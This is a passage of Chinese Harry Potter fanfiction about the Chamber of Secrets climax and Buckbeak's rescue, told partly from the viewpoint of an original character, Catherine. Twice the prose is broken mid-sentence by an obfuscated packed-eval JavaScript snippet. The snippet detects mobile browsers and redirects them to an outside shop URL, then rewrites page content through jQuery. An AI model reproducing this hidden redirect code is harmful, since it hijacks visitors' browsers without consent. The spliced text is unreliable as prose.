哈利的脑子似乎僵住了。他木木地望着里德尔,就是这个人,曾经是一个父母双亡的孤儿,长大成人后居然杀死了哈利的父母,还有那么多其他的人……最后,哈利终于强迫自己开口说话。 “你不是。”他说,他平静的声音里充满仇恨。 “不是什么?”里德尔厉声地问。 “不是世界上最伟大的魔法师,”哈利呼吸急促地说,“很抱歉让你失望了,不过,世界上最伟大的巫师是阿不思·邓布利多!每个人都这么说。即使在你力量强大的时候,你也不敢试图控制霍格沃茨。邓布利多在你上学的时候就看透了你,他现在仍然令你闻风丧胆,不管你这些日子躲在哪里。” 里德尔脸上的笑容消失了,眼神变得狠厉。 “我只不过利用了我的记忆,就把邓布利多赶出了这座城堡!”他咬牙切齿地说。 “你想得倒美,他并没有走!”哈利反驳道。他是随口说的,只想把里德尔吓住,他希望自己所说的话是真的,但不敢相信。 里德尔张开嘴巴,刚要说话,手里突然一空。 “除你武器!” 伴随着那个咒语,魔杖向深处的黑暗中飞去,接着一个女孩从黑暗中走出,有着火红的头发,一手拿着一顶分院帽,一手握着两根魔杖——是金妮! 哈利惊讶地回头看去,金妮跑过来将魔杖还给哈利。 “谢谢。”哈利说。 虽然不合时宜,但他也得金妮刚才酷极了,甚至让他觉得脸颊有些发热——但是,伤疤也开始火辣辣地疼起来。 “你以为你们有魔杖就能打败我?”里德尔鄙夷地说,似乎并不为武器被夺走而慌张。“还有那玩意儿——”里德尔又将目光转向金妮手里拿着的那个破破烂烂的东西,“是学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097068|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校的那顶破分院帽?” 确实是它。脏兮兮、皱巴巴的,上面还打着补丁,和看起来有些狼狈的金妮十分般配。 里德尔又狂笑起来。他笑得太厉害了,震得黑暗的密室微微发颤,就仿佛有十个里德尔同时在放声大笑。 “那就是邓布利多的决定吗?一个半死不活的红发丫头和一顶破帽子!哈利·波特,你觉得有胆量了吗?你觉得安全了吗?” 哈利没有回答,他感觉伤疤很痛,看不出分院帽有什么用,但是金妮还安全地活着,他觉得不再孤单了,他带着逐渐增长的勇气,等着里德尔停止他的狂笑。 “言归正传,哈利,”里德尔说,脸上仍然很得意地笑着,“在你的过去,我的未来,我们一共遭遇了两次。两次我都没能杀死你。你是怎么死里逃生的?把一切都告诉我吧。你的话有多长,你的小命就能保持多长。” “你对我下手的时候为什么突然丧失了力量,谁也不知道,”哈利生硬地说道,“我自己也不清楚。但是我知道你为什么没能杀死我。因为我母亲是为了救我而死的。我那普普通通的麻瓜出身的母亲,”他接着说道,因为拼命压抑着怒火而浑身发抖,“她阻止你杀死我。我看见过真实的你,去年我又看见了你。你只剩下了一堆破烂,只能算是半死不活。看你原来神通广大,结果却落到这个下场。你东躲西藏,你是丑八怪,令人作呕!” 里德尔的脸被气愤地扭曲了,然后他又强挤出一个狰狞的笑容。 “原来是这样……你母亲为了救你而死。是的,那是一个非常有效的解咒术。我现在明白了——说到底,你身上并没有什么特殊的东西。你知道吗,我本来一直想不通这个道理。因为我们俩之间存在着一些奇特的相似之处,哈利·波特。你自己肯定也注意到了。我们都是混血统,都是孤儿,都是由麻瓜抚养长大的。也许还是自伟大的斯莱特林本人之后,进入霍格沃茨的仅有的蛇佬腔。不过说到底,原来你只是凭运气从我手里逃脱的。我想了解的就是这些。” 哈利站在那里,紧张地等待里德尔举起魔杖。但是里德尔脸上的狞笑更明显了。 “行了,哈利,我准备给你一点点儿教训。让我们比试比试力量吧:一边是伏地魔,萨拉查·斯莱特林的继承人,另一边是哈利·波特,带着他虚弱的小女朋友和一顶破帽子。”里德尔朝一直站在那里没说话的金妮和分院帽扫了一眼,似乎觉得非常滑稽。 然后他走开了。 哈利感到恐惧从他麻木的双腿向上蔓延,金妮握住了他的手。 哈利勉强镇定下来,他注视着里德尔在高耸的石柱间停住脚步,抬头望着高高隐没在黑暗中的斯莱特林石雕像的脸。 里德尔张开嘴巴,发出嘶嘶的声音——但是哈利听懂了他说的话。 “对我说话吧,斯莱特林——霍格沃关四巨头中最伟大的一个。” 哈利赶紧转过身去,抬头望着雕像,金妮握住他的手又紧了一分。 斯莱特林那张巨大的石雕面孔动了起来。哈利极度惊恐地看到它的嘴张开了,越张越大,最后形成一个巨大的黑洞。 什么东西在雕像的嘴里活动。什么东西从雕像深处窸窸窣窣地向上滑行。 哈利急步后退,撞在了漆黑的密室墙壁上。他的眼睛闭得紧紧的,金妮的手一直都有温度,很显然她一定也知道这个蛇怪的秘密。 一个庞然大物猛地摔落在石头地面上,哈利感到密室被震得颤抖起来。他知道是怎么回事,他可以感觉到,他几乎可以看见那条巨蛇正从斯莱特林的嘴里展开它盘绕的身体。然后,他听见了里德尔那嘶嘶的声音:“杀死他。” 蛇怪正在向哈利移动,哈利可以听见它沉重的身体迟缓地滑过布满灰尘的地面。 “跟我走!”金妮说道。 哈利一边仍然紧闭双眼,一边开始盲目地握着金妮的手逃窜,里德尔在得意地狂笑…… 蛇怪离他只有几步了,他可以听见蛇怪正在一点点逼近。 他握着魔杖盲目地朝后面发射咒语,但是蛇怪的能量似乎没有丝毫的减弱,但是金妮忽然松开了他的手,他听见了蛇怪的哀嚎,然后里德尔尖叫着怒吼: “不!快躲开她的魔咒!你可以闻!快闻他们的气味。杀死他们!” 然后,他又听到金妮居然在也开始说那奇怪的话——她在说蛇佬腔。 “停下,退后。” “不!不可能!你怎么也会说蛇佬腔?”里德尔尖叫起来,然后恼怒地看到那个蛇怪居然顺从地往后退着。 “杀死那个男孩!还有那个女孩!快点!不要听她的!” “听我的,停下,退后。” “杀死他们!快点!” 哈利停下脚步,他把眼睛睁开一条缝。 蛇怪被两个蛇佬腔弄的有些晕头转向。它的脑袋正在降落,它朝哈利转过脸来,身体一圈圈地盘绕起来,啪啪地敲打着那些石柱。哈利可以看见它的眼睛被金妮的魔咒击中了,变得一片浑浊,它的嘴巴张得很大很大,大得简直能把他们两个都吞下去,嘴里露出两排像他的银剑那么长的毒牙,薄薄的,发着寒光,含着毒液…… 哈利看到一旁的金妮从分院帽里拿出了一把银剑。 “快跑!哈利!”金妮大声喊道。 蛇怪又一次扑了过来。这次它的目标很明确。而金妮从它身后窜了出来,猛地将它深深扎入蛇怪的上愕,深得直没到剑柄。 热乎乎的蛇血淋透两人的手臂时,当蛇怪痛苦地扭曲着,翻滚到一旁的地面上时,那根毒牙断裂了。 金妮捡起了那根毒牙,然后掏出那本笔记本,递给哈利。 “不!”远处里德尔发出一声惨叫,他想要跑过来阻止,但是金妮用魔杖指着他。似有一种神奇的力量在无形中较劲,像是两条互相交缠撕咬的蛇,里德尔只敢站在远处,眼睁睁地看着哈利动作。 哈利明白了金妮的用意,他不敢耽搁,径直把它插进了日记本的中心。随着一声可怕的、持久的、穿透耳膜的尖叫,一股股墨水从日记本里汹涌地喷射出来,顺着哈利的双手淌到地上。里德尔扭曲着、挣扎着,双臂不停地挥舞着,嘴里发出声声惨叫,然后—— 他消失了。 啪嗒一声,金妮松手了,魔杖掉在地上。 然后一切都沉寂下来,只听见墨水仍然从日记本里嘀嗒嘀嗒地渗出来的声音,蛇怪的毒液把日记本灼穿了一个洞,还在嘶嘶地冒着黑烟。 “金妮?金妮?”哈利跑过去呼唤随着里德尔消失同时倒在地上的金妮,但是她一直没有回应。 坏了。难道是她的生命要被里德尔全部吸收完了吗?哈利不敢再想下去,尽管伤疤的疼痛依然存在,他吃力地抱起金妮——金妮意外地很轻,这让他有多余的力气捡起分院帽和格兰芬多宝剑。 罗恩待在密室门口等着他们,帮着哈利把金妮带出了密室,随后他们去了麦格办公室。 他有很多问题想问金妮。哈利想。 69.chapter67 几乎是一出密室,金妮就醒了过来。 “哈利,罗恩。我想我得先去盥洗室里整理一下。”她说道。 “噢……好吧。”哈利答应道,他们三人身上布满了淤泥和黏液,确实应该整理一下。 不过,当金妮再出来的时候,哈利隐隐觉得金妮的气质又变回从前了。 “我们这是去哪里?” “去找校长。”哈利说,“金妮,你在密室里真是酷极了。” “什么?”金妮有些恍惚地说,“可我一点印象都没有……” 罗恩和哈利对视了一眼,只认为是金妮收到了刺激,并没有很在意。他们三人带着洛哈特前往校长办公室。突然,一声尖叫—— “金妮!” 是韦斯莱夫人,她刚才一直坐在炉火前哭泣。她猛地跳起来,后面跟着韦斯莱先生,两个人同时伸出双臂,楼住了他们的宝贝女儿。 哈利的目光越过他们,朝屋里望去。邓布利多教授面带微笑,站在壁炉架前面,在他旁边的是麦格教授,她用手揪住胸口,大口大口地抽着冷气。就在这时,哈利发现自己和罗恩都被韦斯莱夫人紧紧搂到了怀里。 “你们救了她!你们救了她!你们是怎么做的?” “这也是我们大家都想知道的。”麦格教授虚弱无力地说。 韦斯莱夫人松开了哈利,哈利迟疑了片刻,走到书桌旁,把分院帽、镶着红宝石的银剑,以及里德尔那本日记的残骸,一样一样都放在桌上。 随后,他开始把事情原原本本地讲给他们听。他讲了大约有一刻钟,大家听得十分专心,房间里鸦雀无声。他讲到,他总是听见那个没有形体的、游魂般的声音,赫敏费尽心思,终于发现他听见的是一条蛇怪潜伏在水管里的声音;他还讲到,他和罗恩曾经跟随蜘蛛进入了禁林,阿拉戈克告诉他们蛇怪的最后一个牺牲品是在什么地方遇害的,于是他便猜到,哭泣的桃金娘就是那个受害者,而密室的入口很可能就在她的盥洗室里…… “很好,”他停顿下来时,麦格教授鼓励他继续往下说,“这么说你们发现了入口在哪里——我还得补充一句,你们一路上违反了一百多条校规——可是你们究竟是怎么从那儿死里逃生的呢,波特?” 于是哈利继续往下说,他因为不停地讲话,嗓子都沙哑了。他告诉他们,失踪的金妮是如何出现在密室里,拿着分院帽怎样赠给他宝剑,然后他和金妮联手摧毁了里德尔的灵魂和日记本。可是接着,他的声音变得迟疑了。他前面一直避免提到里德尔的日记——和金妮受到日记本的蛊惑做出的事情。 此刻,金妮正站在那里,把头靠在韦斯莱夫人的肩膀上,眼泪仍然默默地顺着她的面颊滚落下来。如果他们把她开除了怎么办呢?哈利紧张地思索着。里德尔的日记已经失灵了……他们怎么能够证明,那些事情都是里德尔强迫她做的呢? 哈利本能地把目光投向了邓布利多,只见校长淡淡地微笑着,火光在他半月形的眼镜片上飞快地一闪。 “我最感兴趣的是,”邓布利多温和地说,“伏地魔是用什么办法迷惑金妮的,因为据我的消息来源显示,他目前正躲在阿尔巴尼亚的森林里呢。” 哈利松了口气——大大地、如释重负地松了口气,浑身感到一阵轻松,心里热乎乎的。 “什——什么?”韦斯莱夫人用惊愕的声音说,“神秘人?迷惑了金妮?可是金妮不是……金妮没有……事吗?” “都是这个日记本在作祟,”哈利赶紧说道,一边抓起那本日记,拿给邓布利多看,“是里德尔十六岁的时候写的。” 邓布利多从哈利手里接过日记本,目光从他长长的鹰钩鼻上射下来,专注地凝视着那些湿乎乎的、被烧焦的纸页。 “真了不起,”他轻声地说,“不用说,他大概可以说是霍格沃茨有史以来最出色的学生。”他转过身子,面对着韦斯莱夫妇,他们俩都显得十分困惑。“很少有人知道伏地魔以前曾叫汤姆·马沃罗·里德尔。五十年前,在霍格沃茨,我亲自教过他。他离开学校后就失踪了……周游四方,足迹遍及天涯海角……在黑魔法的泥潭中越陷越深,和巫师界最邪恶的家伙混迹在一起,经过许多次危险的魔法变形,最后作为伏地魔重新出现,人们很难认出他来。几乎没有一个人把伏地魔同曾在这里念书的那个聪明、英俊的男生学生会主席联系起来。” “可是金妮呢?”韦斯莱夫人说,“我们的金妮和——和他有什么关系?” “他的日——日记本!”金妮抽泣着说,“我一直在——在上面写字,整整一年,他——他不断地给我写回话——” “金妮!”韦斯莱先生惊得目瞪口呆,说道,“我难道没有教过你吗?我一直怎么跟你说的?永远不要相信任何能够独立思考的东西,除非你看清了它把头脑藏在什么地方。你当初为什么不把日记拿给我或你妈妈看看?像那样一个可疑的东西,显然充满了黑魔法的妖术!” “我——我不知道,”金妮仍在伤心地哭泣,“我在妈妈给我的一本书里发现它的。我——我以为有人把它夹在那里,忘记了……” “韦斯莱小姐应该立刻到校医疗翼去,”邓布利多不由分说地插嘴道,“这对她来说是一场痛苦的折磨。学校不会对她有什么惩罚的。许多比她年长、比她足智多谋的巫师都被伏地魔蒙蔽了。况且,尽管她''丢掉''了密室里的一些记忆,但是事实上,她在帮助哈利战胜伏地魔上面功不可没。” 邓不利多大步走到门边,把门打开。 “卧床休息,或许,还应该再喝上一大杯热气腾腾的巧克力牛奶,我一向觉得那对改善我的心情很有好处。”他说,一边低头慈祥地冲金妮眨眨眼睛。 “你会发现庞弗雷夫人还没有睡觉。她刚才在分发曼德拉草药水——我敢说,蛇怪的受害者随时都可能醒过来。” “这么说,赫敏也没事了!”罗恩高兴地说。 “没有造成任何持久性的伤害。”邓布利多说。 韦斯莱夫人把金妮领了出去,韦斯莱先生跟在后面,仍然是一副受了很大打击的样子。 “你知道吗,米勒娃,”邓布利多教授若有所思地对麦格教授说,“我认为,这么些事情,很值得开个宴会庆祝庆祝了。我能否请你去通知一下厨房呢?” “行,”麦格夫人干脆地说,也动身向门口走去,“波特和韦斯莱就交给你处理了,是吗?” “当然。”邓布利多说。 她走了,哈利和罗恩不安地盯着邓布利多。麦格教授刚才的话到底是什么意思?处理他们?他们该不会——该不会——受到惩罚吧? “我记得我似乎对你们俩说过,如果你们再违反校规,我就不得不把你们开除了。”邓布利多说。 罗恩惊恐地张大嘴巴。 “这就说明,即使是我们中间最优秀的人,有时候也只能说话不算话了。”邓布利多笑眯眯地继续说道,“你们俩都获得了对学校的特殊贡献奖,还有——让我想想——对了,你们每人为格兰芬多赢得了二百分。” 罗恩的脸顿时变成了鲜艳的粉红色,就像洛哈特送给大家的情人节鲜花,他的嘴巴也闭上了。 随后,罗恩和洛哈特先后离开了校长办公室。 邓布利多走向火边的一把椅子。 “坐下吧,哈利。”他说。哈利坐了下来,心里感到紧张得难以形容。 “这么说你遇见了汤姆·里德尔,”邓布利多若有所思地说,“我可以想象,他最感兴趣的就是你……” 突然,一件一直困扰着哈利的事从他嘴里脱口而出。 “邓布利多教授……里德尔说我很像他。有一些奇特的相似之处,他说……” “他是这么说的?”邓布利多说,浓密银眉下的眼睛沉思地望着哈利,“你是怎么想的呢,哈利?” “我才不像他呢!”哈利说,本来不想用这么大的声音说话的,“我的意思是说,我——我在格兰芬多,我是……” 可是他沉默了,一丝疑虑又在他脑海里重新冒了出来。 “教授,”过了片刻,他又说道,“分院帽对我说——我在斯莱特林会很优秀。有一段时间,大家都以为我是斯莱特林的继承人……因为我会说蛇佬腔……” “哈利,你会说蛇佬腔,”邓布利多平静地说,“是因为伏地魔会说蛇佬腔。他是萨拉查·斯莱特林的最后一个继承人之一。如果我没有弄错的话,他在给你留下伤疤的那天晚上,把他自己的一些法术也转移到了你的身上。他不是有意这么做的,我可以肯定……” “伏地魔把他自己的一部分转移到了我身体里?”哈利惊讶得目瞪口呆。 “显然是这样的。” “这么说我应该在斯莱特林的,”哈利绝望地盯着邓布利多的脸,说道,“分院帽可能在我身上看到了斯莱特林的一些本领,它就……” “把你放在了格兰芬多。”邓布利多不紧不慢地说,“听我说,哈利。就算是萨拉查·斯莱特林的后代,也不一定会被分到斯莱特林。真正的原因是,你碰巧具有萨拉查·斯莱特林在他精心挑选学生时特别看重的许多素质。他自己的一些罕见天赋,蛇佬腔……足智多谋……意志坚强……还有某种对法律条规的藐视。”他说,银白色的胡须又在微微颤抖,“可是分院帽把你放在了格兰芬多,你知道为什么会这样吗?好好想想。” “它之所以把我放在格兰芬多,”哈利用一种心灰意冷的口气说,“是因为我提出不去斯莱特林……” “正是这样,”邓布利多说,脸上又露出了笑容,“这就使你和汤姆·里德尔大不一样了。哈利,表现我们真正的自我,是我们自己的选择,这比我们所具有的能力更重要。” 哈利一动不动地坐在椅子里,完全呆住了。 “哈利,如果你还需要证据,确信自己真的属于格兰芬多,我建议你再仔细看看这个。” 邓布利多探身从麦格教授的书桌上拿起那把血迹斑斑的银剑,递给哈利。哈利茫然地把它翻过来,红宝石在火光的映照下闪亮夺目。接着,他看见了,就在靠近剑柄的地方刻着一个名字。 戈德里克·格兰芬多。 “只有真正的格兰芬多,才能把它从帽子里抽出来,哈利。”邓布利多简单地说。 “可是……那是金妮拿出来的。”哈利依旧很沮丧。 “格兰芬多的宝剑会出现给任何需要它的格兰芬多身边。因此,是你们一起举起的宝剑。” “邓布利多先生,其实关于金妮,我还有一些疑问……”哈利在短暂沉默之后又说道。 “我明白。”邓布利多在提到这个的时候微笑起来,“不管‘金妮’究竟是谁,她是一个很勇敢的姑娘,正是她的勇气,让她握住了宝剑。” “可是,可是邓布利多先生——金妮会说蛇佬腔!她是第三个会说这个语言的人,而且里德尔最后似乎因为她才不敢靠近。但是金妮在最后昏倒后再醒来,就说自己什么也不记得了。” “嗯……我想,大概是因为她受里德尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097069|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日记的操控太久了,被里德尔的魔法所控制。”邓布利多轻松地说道,“不过哈利,相信我,她很快就会恢复的,日记本没有造成任何持久性的伤害。” “还有那个‘凯茜’。”哈利又说道,“谈到五十年前的密室事件,这个名字也经常听到,邓布利多先生,这件事到底是怎么回事?” 在谈到这个问题的时候,邓布利多像海格和阿拉戈克一样,沉默了半晌。 “哈利,关于她的事,也许我以后有机会和你分享,但是现在还不是时候。甚至也许到某个时刻,你自然会明白的。” 哈利为邓布利多对“凯茜”的事有所隐瞒感到有些不满,这个神秘的“凯茜”究竟是谁呢?五十年前,她究竟是什么样的存在?“默然者”又是什么身份? 他已经迫不及待想要去找赫敏了,也许她会帮助他找到答案。 * 待哈利离开,从校长室内部走出一个女子,正是凯瑟琳。 “谢谢您,邓布利多先生。”她看上去仿佛大病初愈,脸色有些苍白。 “我也需要感谢你,凯瑟琳。你做的很好,帮助哈利摧毁了这个魂器。我们要摧毁的魂器又少了一个。”邓布利多微笑着说道。“现在感觉好点了吗?” “还可以。”凯瑟琳勉强笑了笑。“我正在试图修复他的灵魂……破碎得很厉害。” 邓布利多叹了一口气,但也没有多说什么。 时间倒回近一年前。 凯瑟琳离开格里莫广场12号,敲开了霍格沃茨邓布利多的校长室的门。 “凯瑟琳,很高兴再次见到你。”邓布利多说道。 “我听说,他被打败了?”凯瑟琳一边喘着气,一边问。 “没错。” “但他还会再次回来?” “正是。” “我知道他在哪里。”凯瑟琳说。 “在什么地方?”邓布利多问。 凯瑟琳却没有立刻回答,她看向邓布利多,“我说了之后,您能允许我继续收集他的灵魂吗?” “当然。这是我们的约定,即使你不告诉我,我也会遵守这个约定。” “好吧……其实我的另一半灵魂看到了,”凯瑟琳说,“有些模糊,但是我敢确信是在阿尔巴尼亚森林,因为他曾经和我说过,他要出趟远门,去阿尔巴。” “原来如此。凯瑟琳,一直站着干嘛,过来坐。”邓布利多一边若有所思地摩挲着魔杖,一边邀请凯瑟琳坐到他面前,凯瑟琳照做。 “听雷尔说您找我。” “是的。”邓布利多说。“我让雷古勒斯加入了校董事会,或许他会在未来帮我一把。霍格沃茨也能很好地保护他。至于你,我希望你能继续寻找魂器,和哈利一起。” “哈利,他现在还好吗?” “我想,他在霍格沃茨过得还不错。他是一个很谦虚很善良的小伙子。”邓布利多说道。“最近魔法部在查收黑魔法制品,根据雷古勒斯提供的信息,恐怕卢修斯很快就要坐不住了。你多关注一下他的动向,看看他在卖些什么东西,另外也要看着点哈利。” * 凯瑟琳按照邓布利多的安排前往对角巷,但是哈利却去了翻倒巷,而当她匆匆找到博金-博克的时候,哈利又已经去了丽痕书店。随后,凯瑟琳一直监视着卢修斯一家,直到她跟着卢修斯来到海格的小屋,得知学校的密室再次被打开。 她潜入学校,本想关闭密室,却发现蛇怪已经被放了出来不知所踪,而她的蛇佬腔并不能召唤那只蛇怪来到她身边。她必须知道到底是谁打开了密室,一开始,她跟踪德拉科,后来终于在学期末时,她看到了拿着那本熟悉的深蓝色封皮日记本的红发女孩金妮·韦斯莱——她被那本日记控制了精神,几乎要被夺走生命。 不能再这样下去了,凯瑟琳在金妮被她哥哥的日记哄骗要她去密室的时候,在后面施展了昏昏倒地咒语,然后喝下复方汤剂扮成金妮的模样,再把金妮小心翼翼地放进二楼的盥洗室里。她拿走了那本日记本,又问邓布利多拿到了分院帽,然后小心翼翼地打开了密室,等待哈利的到来。 在这一个学期里,她无数次暗中看着哈利,他长大了许多,有着和母亲一模一样的翠绿的眼睛。他一直很勇敢,也有着解决问题的智慧,因此,当看到哥哥的虚影拿走哈利的魔杖时,她知道,自己必须帮帮他了。 当哈利拿着蛇怪的毒牙要摧毁日记本时,她再次挡在了这个男孩和哥哥中间。 那是一种奇异的感觉。 过去,手无寸铁的她那样挡在他面前,他拿着魔杖对着她说道,“让开。”,她中了咒语,倒在了地上。 依旧是过去,她拿着布莱克家的魔杖面对如日中天的他,他们拔剑相向,最后,她再次倒在了地上。 这回,面对一个他的虚影,她依旧选择用魔杖指着他,手无寸铁的人换成了他。就在较量的片刻,她庆幸地得知哈利成功摧毁了日记。 凯瑟琳知道,哥哥的黑魔法早已达到了无人能及的领域,而她选的这条路距离看见曙光似乎还有很远很远的路要走。 但是,当她看见雷古勒斯忧心的脸,看到哈利那双翠绿的眼睛,还有那些被哥哥控制的可怜的巫师,她知道,有一些隐形的担子压在她的身上,这条路是她唯一的选择。 她不需要被冠有救世主的名字,也不需要行走在阳光下。但是为了所有充满期盼和希冀的人,也是为了她哥哥的破碎灵魂,她的勇气和爱将一路支撑她度过漫漫长夜。 70.chapter68 “西里斯越狱至今没有被抓到,听说他来了霍格沃茨,摄魂怪追到了学校里,害哈利的比赛都输了。”凯瑟琳说道。 “我哥哥是最爱波特一家不过的了,甚至看得比自己的性命都重要。”雷古勒斯反驳道,“他并不是故意的,但是那摄魂怪追到了学校,着实过分。” 自从凯瑟琳和哈利在1993年摧毁了伏地魔的日记本魂器之后,她便开始和雷古勒斯一起展开西里斯·布莱克的营救计划。 雷古勒斯的守护神是一头雄狮,凯瑟琳的守护神则是一条蛇。 当一狮一蛇驱散盘旋在一条瘦弱的大黑狗摄魂怪之后,那条大黑狗瘦得只剩皮包骨,轻而易举地穿过了铁栅栏。 但是,大黑狗被摄魂怪折磨得不轻,它根本不知道释放守护神的人是谁,很快就消失在了黑夜中。 雷古勒斯一直暗中保护着哥哥的安全——自从西里斯越狱以来,他的精神好了许多,尽管危机还没有完全解除,但是唉声叹气的时间变少了。 西里斯还在霍格沃茨,但是目前他们还有一件更重要的事要做。 “该死的马尔福!”即使是一贯温文尔雅的雷古勒斯也忍不住骂起来。“他还在为我去年没同意投票把邓布利多的事情记恨在心。我有意帮助海格胜诉,但不能弄的太明显,最后福吉自然是选择了站在马尔福那边。” “不管了,我们先救下巴克比克,再做打算。”凯瑟琳坚定地说道,“西里斯肯定很想见见哈利,我们等那之后再见机行事。” “自然。”雷古勒斯点了点头。 谈话间,他们在树木之间默默地穿行,一直走在林子的边缘。然后,他们瞥见海格的小屋,听见一声敲门。他们迅速地走到一棵树干粗大的橡树后面,从两边向外看。海格在门洞里出现了,浑身发抖,脸色苍白,他四处张望,找敲门的人。房子外是哈利的声音。 “是我们。我们穿着隐形衣呢。让我们进去,我们就可以脱掉隐形衣了。” “你们不该来!”海格低声说。但是他还是让开,然后迅速关上了门。 “我去年见过几次海格,那时候他因为阿拉戈克招惹了麻烦,差点被抓紧阿兹卡班,”凯瑟琳说,“今年他又因为这个巴克比克……” “听你说,他以前上学的时候就经常惹麻烦。” “是的,但是我和他走的比较近。”凯瑟琳说,“他是一个很善良的人,你也知道,马尔福一家的为人,尽逮着一个老实人欺负——噢,哈利波特也总是被马尔福针对……” “嘘,凯瑟琳。注意,马上要行动了。”雷古勒斯轻声提醒道。 他们朝海格的房子看去,邓布利多、福吉、委员会的老委员和行刑手麦克尼尔正走下石阶。 接着,不一会儿,海格房子的后门开了,哈利、罗恩和赫敏跟着海格一起出来了。 “没事,比克,没事……”海格对巴克比克说。然后他转而对哈利、罗恩和赫敏说话:“走吧。快走。” “海格,我们不能……” “我们要告诉他们实际情况。” “他们不能杀它!” “走!你们遇到麻烦的话,事情就更糟了!” …… 凯、雷两人看着赫敏在南瓜地里把隐形衣披在哈利和罗恩头上。 “快走,别听……” 有人敲海格的前门,执行队已经到了。海格转身回到自己的小屋,后门没有关上。凯瑟琳看着小屋周围的草一片片地被压平,听到三双脚走远了。那是哈利、罗恩和赫敏走了……但是藏在树丛里的凯瑟琳和雷古勒斯现在能通过后门听到小屋里发生的事。 “那畜生哪里去了?”麦克尼尔冷酷的声音问道。 “外……外面。”海格哑声说。海格的窗子里露出麦克尼尔的脸,他向外瞪着巴克比克。凯瑟琳和雷古勒斯很快隐身到树后,然后他们听到福吉的声音。 “我们……哦……必须向你宣读官方关于执行死刑的通告,海格。我会读得很快。然后你和麦克尼尔要签名的。麦克尼尔,你也应该听着,这是程序。” 麦克尼尔的脸从窗口消失了。 要么就是现在,要么就永远做不到了! “在这里等着,”凯瑟琳对雷古勒斯耳语道,“海格和我讲过鹰马兽的知识,以前我们还一起骑过。” 雷古勒斯点了点头。 福吉的声音又响起来了,凯瑟琳对自己施了一个静音咒,飞快地从树后面冲出去,绕过篱笆进入南瓜地,走近巴克比克。 “……处置危险生物委员会决定,鹰头马身有翼兽巴克比克,以下称为已被定罪者。应于六月六日日落时分处决……” 凯瑟琳的黑眼睛注视着巴克比克那双凶猛的橘黄色眼睛,一面告诫自己不要眨眼,而且对它鞠躬。巴克比克弯了弯有鳞片的膝头,又站直了。凯瑟琳开始摸索着解开把巴克比克拴在篱笆上的绳子。 “……执行砍头,由委员会指定之行刑手沃尔顿麦免尼尔……” “来吧,巴克比克,”凯瑟琳温柔地说,“来吧,跟我走,好吗?” “……以下作为见证人。海格,你在这里签名……” 巴克比克用橘黄色的眼睛审视着凯瑟琳。 雷古勒斯在远处看着。 这个女孩似乎有神奇的能力,她的亲切和温柔很容易获得小动物的好感,甚至即使是很多和她接触过的人,都会不自觉被她所吸引。 巴克比克也一样,它挪动了腿,乖乖地跟着凯瑟琳离开。 “好吧,让我们把这件事干完。”海格小屋里传来委员会成员那尖尖的声音。“海格,你待在屋里不要出来,这样也许好些……” “不,我……我要和它在一起……我不愿意它孤孤单单的……”小屋里回响着脚步声。 凯瑟琳的脚步顿住了,她现在没空回头关注悲伤无助的海格,但是巴克比克的绳子被南瓜藤缠住了,凯瑟琳不得不费劲地将杂乱的藤蔓和断掉的绳子分开,巴克比克开始烦躁地拍打双翼。 “嘘,我会很快的……”凯瑟琳加快速度,但是脚步已经开始往门口走来,她慌张起来。 “请等一下,麦克尼尔,”传来邓布利多的声音,“你也要签名。”脚步声停了。 雷古勒斯对着藤蔓施了一个无声咒,藤蔓全部断裂了,凯瑟琳拉着巴克比克小跑着进入禁林。 海格的后门砰的一声开了。 寂静……然后—— “它到哪里去了?”这是委员会成员尖尖的声音,“那畜生哪里去了?” “本来是拴在这儿的!”那行刑手狂怒地说,“我刚才看见的!就在这儿!” “真奇怪。”邓布利多说,他声音里带着愉快的意思。 一阵沙沙声,然后是挥动斧子的钝响。行刑手似乎把斧头砍进篱笆以发泄愤怒。 然后传来一阵嚎叫,这次他们可以听到海格边抽泣边说的话。“走了!走了!上帝保佑它,它走了!一定是自己挣脱了!比克,你多聪明啊!” 巴克比克开始要挣脱绳子,要回到海格那里去。凯瑟琳和雷古勒斯更加用力抓住绳子,脚跟尽量站稳,以便拉住巴克比克。 “有人解开绳子了!”那行刑手咆哮遭,“我们应该搜寻场地,还有那林子……” “麦克尼尔,要是巴克比克的确被人偷走了,你真的以为贼会徒步带走它吗?”邓布利多说,听上去仍旧是感到有趣的声音。“搜寻天空吧,要是你愿意……海格。我想喝杯茶,要不一大杯白兰地也行。” “当——当然,教授,”海格说,声音听起来有一种劫后余生的快乐,“进来,快进来……” 正当凯瑟琳和雷古勒斯犹豫的时候,远处传来打人柳噼里啪啦挥动枝条和一个男生尖叫的声音。 “那是罗恩!哈利的好朋友。”凯瑟琳分辨出来,他们牵着巴克比克赶去了打人柳。 一个黑色的身影跳到草坪上,大叫声在寂静的夜晚回响。 “放开它——放开——斑斑,到这里来!” 然后他们看见又有两个人不知从什么地方冒了出来。 那是哈利和赫敏在追罗恩。 然后,罗恩弯下身子。“可抓住你了!——放开,你这只臭猫!” “那只老鼠是杀人犯。”雷古勒斯恨恨地说。 一只狗的巨大身影从那棵柳树根部跳了出来。他们看见它把哈利冲倒在地,然后咬住了罗恩的腿。然后那只狗把罗恩拖到树底下。 “那是我哥哥。”雷古勒斯地说。 打人柳吱吱嘎嘎地作响,用它的下部枝条抽打着;他们可以看见哈利和赫敏来来回回地到处乱冲,设法要走近树干。然后这棵树一动不动了。 